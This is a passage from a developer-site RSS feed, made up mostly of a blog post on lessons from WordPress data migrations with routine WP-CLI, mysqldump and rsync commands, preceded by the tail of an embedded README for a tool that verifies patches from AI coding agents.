    &lt;/h2&gt;
    &lt;h3&gt;
      Independent verification battery for patches written by AI coding agents. Wraps Copilot, Claude Code, and Codex; applies a five-layer falsification battery (intent, mutation, cheat detection, property tests, signed attestation) to gate merges.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div&gt;
&lt;a rel="noopener noreferrer" href="https://github.com/moonrunnerkc/swarm-orchestrator/assets/header.svg"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fmoonrunnerkc%2Fswarm-orchestrator%2FHEAD%2Fassets%2Fheader.svg" alt="Swarm Orchestrator" width="100%"&gt;&lt;/a&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Swarm Orchestrator&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Independent verification battery for patches written by AI coding agents.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fc208599ef300dfbb7d7b65c32d4e1364b62c8c0bd3cc6df8a16615f7ccd9991/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4953432d626c75653f7374796c653d666c61742d737175617265" alt="License"&gt;&lt;/a&gt;
&lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator/package.json" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/7e9d8f19047f8a8c87d4828d268725442644c934e1e8acc4d5387426dabe6d41/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f76657273696f6e2d372e302e302d2d616c7068612e302d6f72616e67653f7374796c653d666c61742d737175617265" alt="Version"&gt;&lt;/a&gt;
&lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator/package.json" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/37e12b341829a2c53b69b36b6fe5a9a4f42cf56b82722fac6b5011085a3749e6/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6e6f64652d25334525334432302d3333393933333f7374796c653d666c61742d737175617265" alt="Node"&gt;&lt;/a&gt;
&lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator/actions/workflows/ci.yml" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/3f31914b57bc82fa5dcbe2b429e1d486362f11bfa4411282ff311f2885102e19/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f616374696f6e732f776f726b666c6f772f7374617475732f6d6f6f6e72756e6e65726b632f737761726d2d6f7263686573747261746f722f63692e796d6c3f6272616e63683d6d61696e266c6162656c3d6369267374796c653d666c61742d737175617265" alt="CI"&gt;&lt;/a&gt;
&lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/1e5ff00a2deeb89446b34d1c735acc066221a43fb000f5d5a446b33581a6edb1/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6d6f6f6e72756e6e65726b632f737761726d2d6f7263686573747261746f723f7374796c653d666c61742d737175617265" alt="Stars"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator#quick-start" rel="noopener noreferrer"&gt;Quick Start&lt;/a&gt; · &lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator#how-it-works" rel="noopener noreferrer"&gt;How It Works&lt;/a&gt; · &lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator#documentation" rel="noopener noreferrer"&gt;Documentation&lt;/a&gt; · &lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator#contributing" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Wraps third-party coding-agent CLIs (Copilot, Claude Code, Codex), runs worker and reviewer steps on isolated git branches, and applies a five-layer falsification battery to each agent-authored patch. Hard gates block patches that fail intent or regression checks; advisory layers feed a composite score.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You run this around an agent CLI, not instead of one. The agent produces the patch; the orchestrator tries to break it. Patches that survive merge to &lt;code&gt;main&lt;/code&gt;; patches that don't are rolled back with a verification report.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Features&lt;/h2&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Five-layer falsification battery.&lt;/strong&gt; Intent verification, regression and mutation testing, cheat detection, property-based testing, and signed attestation. Layers 1 and 2 are hard gates; layers 3 to 5 feed an advisory composite score. Implementations live under &lt;code&gt;src/verification/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Isolated worker and reviewer steps.&lt;/strong&gt; Each step runs…&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/moonrunnerkc/swarm-orchestrator" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


</description>
      <category>ai</category>
      <category>opensource</category>
      <category>devops</category>
      <category>testing</category>
    </item>
    <item>
      <title>The Hard Way: Lessons Learned from Real-World Data Migration Projects</title>
      <dc:creator>Kushang Tailor</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:25:48 +0000</pubDate>
      <link>https://hmpljs.forem.com/kushang_tailor/the-hard-way-lessons-learned-from-real-world-data-migration-projects-4c87</link>
      <guid>https://hmpljs.forem.com/kushang_tailor/the-hard-way-lessons-learned-from-real-world-data-migration-projects-4c87</guid>
      <description>&lt;h1&gt;
  
  
  The Hard Way: Lessons Learned from Real-World Data Migration Projects
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;How three years of ignoring data migration nearly derailed my dev career — and what I spent the next years mastering.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  What Is Data Migration?
&lt;/h2&gt;

&lt;p&gt;Data migration is the process of moving data from one system, format, location, or environment to another. It sounds straightforward — until it isn't.&lt;/p&gt;

&lt;p&gt;At its core, data migration is about &lt;strong&gt;transfer + transformation + validation&lt;/strong&gt;. You're not just copying files; you're ensuring that data arrives at its destination intact, usable, and consistent with the target system's structure and rules.&lt;/p&gt;

&lt;h3&gt;
  
  
  Types of Data Migration
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1. Storage Migration&lt;/strong&gt;&lt;br&gt;
Moving data from one physical or cloud storage system to another — e.g., from on-premise servers to AWS S3 or Google Cloud Storage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Database Migration&lt;/strong&gt;&lt;br&gt;
Transferring data between database engines (MySQL → PostgreSQL), versions, or schemas. This often involves restructuring tables, rewriting queries, and handling incompatible data types.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Application Migration&lt;/strong&gt;&lt;br&gt;
Moving data as part of migrating from one application to another — e.g., from a legacy CRM to Salesforce, or from a static HTML site to a CMS like WordPress.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Cloud Migration&lt;/strong&gt;&lt;br&gt;
Migrating workloads and data from on-premise infrastructure to cloud platforms, or between cloud providers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Business Process Migration&lt;/strong&gt;&lt;br&gt;
Triggered by mergers, acquisitions, or system upgrades — involves consolidating or restructuring data from multiple sources into a unified system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. WordPress-Specific Migration&lt;/strong&gt; &lt;em&gt;(more on this shortly)&lt;/em&gt;&lt;br&gt;
A category unto itself — involving database exports, media files, plugins, theme settings, serialized data, and URL structures.&lt;/p&gt;


&lt;h2&gt;
  
  
  Data Migration in WordPress
&lt;/h2&gt;

&lt;p&gt;WordPress stores almost everything in a MySQL database — posts, pages, users, settings, metadata, plugin configurations — and media files separately on the server. This dual structure makes WordPress migrations uniquely nuanced.&lt;/p&gt;

&lt;p&gt;A WordPress migration typically involves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Database&lt;/strong&gt; (&lt;code&gt;wp_*&lt;/code&gt; tables) — posts, terms, options, users, meta&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;wp-content/uploads/&lt;/code&gt;&lt;/strong&gt; — all media files&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;wp-config.php&lt;/code&gt;&lt;/strong&gt; — environment-specific configuration&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Theme and plugin files&lt;/strong&gt; — code that must be compatible with the target environment&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Serialized data&lt;/strong&gt; — PHP-serialized strings stored in the database that break if you do a naive find-and-replace on URLs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;WordPress migrations are common in scenarios like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Changing domains or hosting providers&lt;/li&gt;
&lt;li&gt;Moving from single site to Multisite&lt;/li&gt;
&lt;li&gt;Migrating to managed or enterprise-grade hosting (WP VIP, Kinsta, Pagely)&lt;/li&gt;
&lt;li&gt;Rebuilding a legacy site in WordPress&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  The Problem: What Goes Wrong (And Why)
&lt;/h2&gt;

&lt;p&gt;Data migration failures are more common than the industry likes to admit. Here's what I've seen cause the most damage:&lt;/p&gt;
&lt;h3&gt;
  
  
  1. Broken URLs and Serialized Data
&lt;/h3&gt;

&lt;p&gt;WordPress stores serialized PHP arrays in the database. A simple SQL &lt;code&gt;FIND &amp;amp; REPLACE&lt;/code&gt; on the old domain will corrupt those strings because they contain byte-length metadata. The result: broken theme options, widget configurations, and plugin settings that silently fail.&lt;/p&gt;
&lt;h3&gt;
  
  
  2. Missing or Orphaned Media Files
&lt;/h3&gt;

&lt;p&gt;The database records can transfer perfectly while media files are left behind on the old server — broken images everywhere, no obvious error.&lt;/p&gt;
&lt;h3&gt;
  
  
  3. Character Encoding Issues
&lt;/h3&gt;

&lt;p&gt;Moving between servers with different MySQL collations (e.g., &lt;code&gt;utf8&lt;/code&gt; vs &lt;code&gt;utf8mb4&lt;/code&gt;) can corrupt special characters, emojis, and multilingual content.&lt;/p&gt;
&lt;h3&gt;
  
  
  4. Plugin and Theme Incompatibilities
&lt;/h3&gt;

&lt;p&gt;A plugin that worked on PHP 7.4 + MySQL 5.7 may fail silently or fatally on PHP 8.1 + MySQL 8.0 on the new host.&lt;/p&gt;
&lt;h3&gt;
  
  
  5. Skipping the Staging Phase
&lt;/h3&gt;

&lt;p&gt;Going straight to production without a staging test is the single most common and most costly mistake. There's no undo button on a live site.&lt;/p&gt;
&lt;h3&gt;
  
  
  6. No Pre/Post Validation Checklist
&lt;/h3&gt;

&lt;p&gt;Without documented baselines — post count, user count, page structure, form behavior — you won't know what broke until a user reports it.&lt;/p&gt;
&lt;h3&gt;
  
  
  7. SEO and Permalink Damage
&lt;/h3&gt;

&lt;p&gt;URL structure changes without proper redirects tank search rankings. &lt;code&gt;.htaccess&lt;/code&gt; rules and WordPress permalink settings must be verified post-migration.&lt;/p&gt;
&lt;h3&gt;
  
  
  8. Caching and CDN Serving Stale Data
&lt;/h3&gt;

&lt;p&gt;After a migration, cached content from the old server can make the new site appear broken even when it isn't.&lt;/p&gt;


&lt;h2&gt;
  
  
  My Story: The Career Cost of Skipping This Skill
&lt;/h2&gt;

&lt;p&gt;Let me be honest with you.&lt;/p&gt;

&lt;p&gt;I spent my first three years in web development building things — WordPress themes, custom plugins, client websites. I was comfortable with HTML, CSS, PHP, and JavaScript. I thought I knew WordPress well.&lt;/p&gt;

&lt;p&gt;What I didn't realize was that I had never touched data migration seriously. Not once.&lt;/p&gt;

&lt;p&gt;When projects came up that required moving a site to a new server, changing domains, or restructuring content into a Multisite setup, I either avoided them or quietly handed them off. I told myself it wasn't "real development work."&lt;/p&gt;

&lt;p&gt;That belief cost me. I walked away from projects I should have taken. I didn't get past certain interview stages at companies where migration experience was table stakes. Good opportunities at agencies working with enterprise WordPress clients — gone, because I couldn't answer questions about &lt;code&gt;wp search-replace&lt;/code&gt;, serialized data, or staging workflows.&lt;/p&gt;

&lt;p&gt;It wasn't a sudden failure. It was a slow leak — projects I compromised on, roles I wasn't confident enough to pursue, skills gaps that compounded over time.&lt;/p&gt;

&lt;p&gt;Eventually, I decided to stop avoiding it.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Safety Steps: How to Prevent Migration Disasters
&lt;/h2&gt;

&lt;p&gt;Before touching any migration, build these habits:&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ 1. Full Backup — Verified
&lt;/h3&gt;

&lt;p&gt;Back up the database AND all files. Test that the backup actually restores. A backup you haven't verified is not a backup.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ 2. Document the Current State
&lt;/h3&gt;

&lt;p&gt;Record baseline metrics: number of posts, pages, users, media files, active plugins, PHP version, MySQL version, WordPress version. Screenshot key pages. Run a broken link audit. You need a reference point.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ 3. Use a Staging Environment — Always
&lt;/h3&gt;

&lt;p&gt;Never migrate directly to production. Set up a staging server (or use a local environment like LocalWP) that mirrors the production setup. Test everything there first.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ 4. Use WP-CLI for Reliable Search-Replace
&lt;/h3&gt;

&lt;p&gt;Use &lt;code&gt;wp search-replace&lt;/code&gt; with the &lt;code&gt;--precise&lt;/code&gt; flag rather than direct SQL queries. This handles serialized data safely.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ 5. Verify DNS Propagation Separately
&lt;/h3&gt;

&lt;p&gt;Don't conflate "migration complete" with "DNS updated." Test via hosts file override or a staging URL before pointing the domain.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ 6. Test Forms, Checkout Flows, and Dynamic Features
&lt;/h3&gt;

&lt;p&gt;Static content is easy to verify. Test everything interactive: contact forms, WooCommerce checkout, membership logins, API integrations.&lt;/p&gt;
&lt;h3&gt;
  
  
  ✅ 7. Have a Rollback Plan
&lt;/h3&gt;

&lt;p&gt;Know exactly how you'll revert if something goes wrong. Document the steps. Set a rollback deadline during the migration window.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Learning Curve: How Data Migration Actually Works
&lt;/h2&gt;

&lt;p&gt;After committing to learning this properly, I built a workflow I still use today. Here's the foundation:&lt;/p&gt;
&lt;h3&gt;
  
  
  The Staging-First Philosophy
&lt;/h3&gt;

&lt;p&gt;Every migration lives and dies by the staging environment. The workflow is always:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Development / Local → Staging → Production
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Never skip staging. Never.&lt;/p&gt;

&lt;h3&gt;
  
  
  Before Migration: Pre-Flight Checklist
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Audit the source site&lt;/strong&gt; — document all plugins, theme, PHP/MySQL versions, custom tables, cron jobs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backup everything&lt;/strong&gt; — full database dump + all files, stored off-server&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify the target environment&lt;/strong&gt; — PHP version, MySQL version, disk space, server software (Apache/Nginx), SSL&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set up staging&lt;/strong&gt; — mirror the production environment as closely as possible&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Notify stakeholders&lt;/strong&gt; — plan the migration window, communicate downtime if needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Freeze content&lt;/strong&gt; on the source site (put it in read-only or maintenance mode) before the final migration pass&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The Migration Process (Step by Step)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Export the database&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysqldump &lt;span class="nt"&gt;-u&lt;/span&gt; DB_USER &lt;span class="nt"&gt;-p&lt;/span&gt; DB_NAME &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; backup.sql
&lt;span class="c"&gt;# Or with WP-CLI:&lt;/span&gt;
wp db &lt;span class="nb"&gt;export &lt;/span&gt;backup.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Transfer files&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rsync &lt;span class="nt"&gt;-avz&lt;/span&gt; &lt;span class="nt"&gt;--progress&lt;/span&gt; /path/to/wp-content/ user@newserver:/path/to/wp-content/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Import database on target&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wp db import backup.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4 — Update &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/strong&gt; with new DB credentials, table prefix, and environment constants.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5 — Run search-replace for the new domain&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wp search-replace &lt;span class="s1"&gt;'https://oldsite.com'&lt;/span&gt; &lt;span class="s1"&gt;'https://newsite.com'&lt;/span&gt; &lt;span class="nt"&gt;--precise&lt;/span&gt; &lt;span class="nt"&gt;--all-tables&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 6 — Flush rewrites and caches&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wp rewrite flush
wp cache flush
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 7 — Validate on staging&lt;/strong&gt; — check all pages, forms, media, admin panel, user logins.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 8 — Go live&lt;/strong&gt; — point DNS, verify SSL, run final flush.&lt;/p&gt;

&lt;h3&gt;
  
  
  After Migration: Post-Flight Checklist
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;[ ] All pages and posts load correctly&lt;/li&gt;
&lt;li&gt;[ ] Images and media files display properly&lt;/li&gt;
&lt;li&gt;[ ] Forms submit and send notifications&lt;/li&gt;
&lt;li&gt;[ ] User accounts and roles intact&lt;/li&gt;
&lt;li&gt;[ ] Admin panel fully functional&lt;/li&gt;
&lt;li&gt;[ ] Plugins activated and configured correctly&lt;/li&gt;
&lt;li&gt;[ ] SSL certificate active and no mixed content warnings&lt;/li&gt;
&lt;li&gt;[ ] Redirects in place for any changed URLs&lt;/li&gt;
&lt;li&gt;[ ] SEO plugin settings preserved (sitemaps, meta, robots.txt)&lt;/li&gt;
&lt;li&gt;[ ] Google Analytics / Tag Manager firing correctly&lt;/li&gt;
&lt;li&gt;[ ] Page speed acceptable (run Lighthouse)&lt;/li&gt;
&lt;li&gt;[ ] Broken link scan complete&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Monitor After Migration — For Weeks
&lt;/h3&gt;

&lt;p&gt;Don't close the loop after go-live. Monitor actively:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Week 1&lt;/strong&gt;: Check server logs daily. Watch for 404s, PHP errors, failed cron jobs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Week 2–3&lt;/strong&gt;: Monitor Google Search Console for crawl errors or ranking drops.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Week 4&lt;/strong&gt;: Review uptime reports, form submissions, and any user-reported issues.&lt;/li&gt;
&lt;li&gt;Set up uptime monitoring (UptimeRobot, Better Uptime) before you go live — not after.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What I Learned: Real Migration Scenarios
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Static HTML Site → WordPress
&lt;/h3&gt;

&lt;p&gt;This is a foundational migration type. The source has no database — everything lives in HTML files.&lt;/p&gt;

&lt;p&gt;The process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inventory all HTML pages and map them to WordPress post types (pages, posts, custom types)&lt;/li&gt;
&lt;li&gt;Extract content and import using WP-CLI or a custom script / WXR importer&lt;/li&gt;
&lt;li&gt;Rewrite internal links to match WordPress permalink structure&lt;/li&gt;
&lt;li&gt;Migrate images to &lt;code&gt;wp-content/uploads/&lt;/code&gt; and update references in content&lt;/li&gt;
&lt;li&gt;Set up 301 redirects from old HTML URLs (e.g., &lt;code&gt;/about.html&lt;/code&gt;) to new WordPress URLs (&lt;code&gt;/about/&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Validate all redirects, check for orphaned pages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Key tool: WordPress Importer plugin, WP All Import for structured data, custom PHP scripts for bulk content.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. WordPress Single Site → WordPress Multisite (Subdirectory)
&lt;/h3&gt;

&lt;p&gt;This is one of the more technically involved migrations. You're converting a standalone WordPress install into a network node.&lt;/p&gt;

&lt;p&gt;Steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enable Multisite in &lt;code&gt;wp-config.php&lt;/code&gt; and &lt;code&gt;wp-admin/network/setup&lt;/code&gt; (choose subdirectory)&lt;/li&gt;
&lt;li&gt;Run the network setup, update &lt;code&gt;wp-config.php&lt;/code&gt; and &lt;code&gt;.htaccess&lt;/code&gt; with network rules&lt;/li&gt;
&lt;li&gt;Create the subsite at the target subdirectory path&lt;/li&gt;
&lt;li&gt;Export content from the original site (WXR file or direct DB migration)&lt;/li&gt;
&lt;li&gt;Import into the new subsite — users, posts, media, settings&lt;/li&gt;
&lt;li&gt;Reassign user roles within the network context (Network Admin vs site-level roles)&lt;/li&gt;
&lt;li&gt;Verify media uploads path (&lt;code&gt;/wp-content/uploads/sites/[ID]/&lt;/code&gt;) is correctly mapped&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;wp search-replace&lt;/code&gt; scoped to the subsite's tables&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Watch out for: plugins that aren't Multisite-compatible, user role conflicts, and network-activated vs site-activated plugin behavior differences.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. WordPress to WordPress — New Domain and Hosting (WP-CLI Workflow)
&lt;/h3&gt;

&lt;p&gt;This is the most common migration scenario, and WP-CLI makes it reliable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On the source server — export DB&lt;/span&gt;
wp db &lt;span class="nb"&gt;export &lt;/span&gt;old-site-backup.sql &lt;span class="nt"&gt;--add-drop-table&lt;/span&gt;

&lt;span class="c"&gt;# Transfer files&lt;/span&gt;
rsync &lt;span class="nt"&gt;-avz&lt;/span&gt; public_html/ user@newhost:/home/user/public_html/

&lt;span class="c"&gt;# On the new server — import DB&lt;/span&gt;
wp db import old-site-backup.sql

&lt;span class="c"&gt;# Update site URL and home&lt;/span&gt;
wp option update siteurl &lt;span class="s1"&gt;'https://newdomain.com'&lt;/span&gt;
wp option update home &lt;span class="s1"&gt;'https://newdomain.com'&lt;/span&gt;

&lt;span class="c"&gt;# Search and replace all instances of old domain&lt;/span&gt;
wp search-replace &lt;span class="s1"&gt;'https://olddomain.com'&lt;/span&gt; &lt;span class="s1"&gt;'https://newdomain.com'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--precise&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--all-tables&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--report-changed-only&lt;/span&gt;

&lt;span class="c"&gt;# Flush permalinks and cache&lt;/span&gt;
wp rewrite flush &lt;span class="nt"&gt;--hard&lt;/span&gt;
wp cache flush

&lt;span class="c"&gt;# Verify user count and post count match source&lt;/span&gt;
wp user list &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;count
wp post list &lt;span class="nt"&gt;--post_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;publish &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;count
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Post-migration, set up 301 redirects on the old domain pointing to the new one. Keep the old domain active (don't let it expire) for at least 6–12 months to preserve link equity.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. WordPress → WordPress VIP
&lt;/h3&gt;

&lt;p&gt;WordPress VIP is an enterprise-grade managed platform with a strict code review process and a read-only production filesystem. Migrating to VIP is as much a code audit as it is a data migration.&lt;/p&gt;

&lt;p&gt;Key differences on VIP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No direct filesystem writes in production — uploaded files go to a distributed filesystem (VIP Files)&lt;/li&gt;
&lt;li&gt;All code must pass VIP's automated and manual code review before deployment&lt;/li&gt;
&lt;li&gt;No direct database access — use VIP's tooling&lt;/li&gt;
&lt;li&gt;Plugin approval required — not all plugins are VIP-compatible&lt;/li&gt;
&lt;li&gt;Local development uses &lt;code&gt;vip dev-env&lt;/code&gt; (Docker-based local environment)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Migration steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Audit all custom plugins and themes against VIP coding standards&lt;/li&gt;
&lt;li&gt;Replace any code that writes to the filesystem directly&lt;/li&gt;
&lt;li&gt;Use VIP's media migration tools to transfer uploads&lt;/li&gt;
&lt;li&gt;Import content via VIP's data migration pipeline (coordinate with VIP support)&lt;/li&gt;
&lt;li&gt;Run full QA on VIP's staging environment before production launch&lt;/li&gt;
&lt;li&gt;Monitor VIP's log dashboard post-launch&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This migration typically requires coordination with the VIP team — it's not a solo operation.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. Enterprise WordPress Site → WordPress Multisite (Subdomain)
&lt;/h3&gt;

&lt;p&gt;This scenario often emerges from brand consolidation — multiple standalone WordPress sites being brought under a single Multisite network, each on its own subdomain (&lt;code&gt;brand.example.com&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Challenges at enterprise scale:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;High post/page volume — imports must be batched to avoid timeouts&lt;/li&gt;
&lt;li&gt;Multiple user bases with different roles that need consolidation&lt;/li&gt;
&lt;li&gt;Multiple third-party integrations (CRMs, DAMs, marketing automation) tied to the old site URLs&lt;/li&gt;
&lt;li&gt;SEO preservation across all migrated properties&lt;/li&gt;
&lt;li&gt;Editorial workflow tools (editorial calendars, approval flows) that must be reconfigured for the network&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set up Multisite with subdomain structure&lt;/li&gt;
&lt;li&gt;Map &lt;code&gt;brand.example.com&lt;/code&gt; subdomains using WordPress's domain mapping or a plugin like Mercator&lt;/li&gt;
&lt;li&gt;Migrate each site individually and sequentially — never in parallel&lt;/li&gt;
&lt;li&gt;Consolidate users carefully, reconciling duplicate accounts across sites&lt;/li&gt;
&lt;li&gt;Update all third-party integrations one by one, confirming webhooks, API endpoints, and OAuth tokens&lt;/li&gt;
&lt;li&gt;Perform site-by-site QA with dedicated checklists per subdomain&lt;/li&gt;
&lt;li&gt;Coordinate DNS changes in batches with rollback windows per site&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At this scale, automation matters — write scripts, use &lt;code&gt;wp eval-file&lt;/code&gt;, lean on WP-CLI's &lt;code&gt;--url&lt;/code&gt; flag to target specific subsites in the network.&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing Thoughts
&lt;/h2&gt;

&lt;p&gt;Data migration is not glamorous. It doesn't have a flashy demo. Nobody tweets about a successful database import.&lt;/p&gt;

&lt;p&gt;But it is one of the most consequential skills a WordPress developer can have. Sites break in migration. Data gets lost. SEO disappears overnight. Businesses lose revenue.&lt;/p&gt;

&lt;p&gt;Learning it properly — staging first, validating obsessively, monitoring after go-live — is what separates developers who can be trusted with production systems from those who can't.&lt;/p&gt;

&lt;p&gt;I learned it the hard way. You don't have to.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you've been through a migration disaster (or a migration victory), share it in the comments. The real lessons are always in the edge cases.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>wordpress</category>
      <category>webdev</category>
      <category>tutorial</category>
      <category>database</category>
    </item>
    <item>
      <title>GitHub Copilot Just Killed Flat-Rate AI Coding. Here's What It Means for Your Team.</title>
